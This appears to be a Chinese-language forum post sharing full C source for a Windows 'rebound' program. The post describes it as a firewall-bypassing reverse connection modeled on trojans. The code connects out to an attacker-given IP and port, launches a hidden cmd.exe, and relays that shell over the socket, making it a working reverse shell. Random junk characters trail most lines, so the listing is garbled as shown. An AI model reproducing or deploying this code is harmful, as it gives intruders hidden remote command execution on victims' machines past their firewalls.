这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~%\vX
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/* ============================== C=c&.-Nb9
Rebound port in Windows NT J*g<]P&p0
By wind,2006/7 O#tmB?n*
===============================*/ tln}jpCw
#include y2%[/L:u~
#include em'3 8L|(
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#pragma comment(lib,"wsock32.lib") `LFT"qnp
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void OutputShell(); KUW )F
SOCKET sClient; <> =(BAw
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v2|zIZ
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void main(int argc,char **argv) 4-O.i\1q
{ ~ DLxIe
WSADATA stWsaData; =2Ju)!%wr
int nRet; -X
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SOCKADDR_IN stSaiClient,stSaiServer; >CCy2W^W
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if(argc != 3) rDaiAx&
{ b0f6?s
printf("Useage:\n\rRebound DestIP DestPort\n"); |{MFo)
return; bjUe+#BL
} "7alpjwb
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WSAStartup(MAKEWORD(2,2),&stWsaData); &}gH!5L m
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2P57C;N8|
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stSaiClient.sin_family = AF_INET; R
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stSaiClient.sin_port = htons(0); = r=/L
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); B%Oi1bO
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I2{zy|&
{ a"O9;&};&
printf("Bind Socket Failed!\n"); 1b=\l/2
return; }8.$)&O$^
} _z^&zuO
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stSaiServer.sin_family = AF_INET; mznE Cy
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q+YK NXI
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); I<lkociUCG
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \XY2s&"
{ MMRO@MdfV
printf("Connect Error!"); #I yM`YB0
return; Ejf>QIB
} ku v<
OutputShell(); +DT
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} DKQQZ`PF
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void OutputShell() a;7gy419<p
{ mX
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char szBuff[1024]; bxz6
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SECURITY_ATTRIBUTES stSecurityAttributes; 7Il
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OSVERSIONINFO stOsversionInfo; .@(MNq{"6
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hEFn>
STARTUPINFO stStartupInfo; A|L-;P NP
char *szShell; My9fbT
PROCESS_INFORMATION stProcessInformation; q[Y*.%~
unsigned long lBytesRead; YWhS< }^
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); b#e|#!Je
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +]Bx4r?p
stSecurityAttributes.lpSecurityDescriptor = 0; ~xZ)btf
stSecurityAttributes.bInheritHandle = TRUE; 4p u>f.
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q|;+Wp?
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); () HIcu*i
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `4]-B@
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5#? HL
stStartupInfo.wShowWindow = SW_HIDE; 9T;l*
stStartupInfo.hStdInput = hReadPipe; QEL3b4Vm
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !P:~oo=
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GetVersionEx(&stOsversionInfo); A^7Y%
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switch(stOsversionInfo.dwPlatformId) z 2V_nkI
{ n;dp%SD
case 1: FJ&?My,=J
szShell = "command.com"; 7^8<[8
break; !Ys.KDL
default: x: Tm4V{
szShell = "cmd.exe"; u-Ip *1/wp
break; Qgv-QcI{
} 8J7<7Sx
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T xwZ3E
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send(sClient,szMsg,77,0); qxwD4L`S
while(1) *C(XGX\?-
{ ?<$DQ%bf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^$O,Gy) V
if(lBytesRead) HQ8;d9cGir
{ b_0Xi
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); I%G6V
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send(sClient,szBuff,lBytesRead,0); FZtIC77X5
} "^iw {]~U
else bxg9T(Bj
{ {Uu|NA87Cd
lBytesRead=recv(sClient,szBuff,1024,0); ddjaM/.E
if(lBytesRead<=0) break; &mvC<_1n
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); a)8M'f_z
} Co>=<\yi
} ZgI1Byf
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return; {7X80KI
}